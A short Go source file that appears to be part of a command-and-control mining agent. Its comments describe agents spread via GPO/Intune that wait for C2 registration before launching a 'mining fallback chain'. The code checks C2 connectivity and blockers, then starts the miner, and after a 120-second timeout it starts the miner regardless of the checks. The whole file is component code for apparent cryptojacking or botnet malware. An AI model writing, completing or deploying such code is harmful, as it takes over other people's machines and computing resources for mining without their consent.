package client

import (
	"context"
	"log"
	"strings"
	"time"
)

// MiningDiagnosticsReady reports whether the agent may start the mining fallback chain.
// Spread/GPO/Intune agents defer mining until C2 registration succeeds and hard blockers clear.
func MiningDiagnosticsReady(d MiningDiagnostics) bool {
	if d.ChainExhausted {
		return false
	}
	if d.HostMiningDisabled && !d.ContainerRunning {
		return false
	}
	if !d.C2Connected {
		return false
	}
	for _, b := range d.LikelyBlockers {
		lower := strings.ToLower(b)
		if strings.Contains(lower, "chain exhausted") ||
			strings.Contains(lower, "host mining disabled") {
			return false
		}
	}
	return true
}

// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
	const maxWait = 120 * time.Second
	deadline := time.Now().Add(maxWait)
	ticker := time.NewTicker(5 * time.Second)
	defer ticker.Stop()

	tryStart := func(reason string) {
		log.Printf("[mining] %s — starting fallback chain", reason)
		c.miningChain.Start(ctx)
	}

	for {
		if MiningDiagnosticsReady(c.collectMiningDiagnostics()) {
			tryStart("diagnostics pass")
			return
		}
		if time.Now().After(deadline) {
			tryStart("diagnostics wait timeout")
			return
		}
		select {
		case <-ctx.Done():
			return
		case <-ticker.C:
		}
	}
}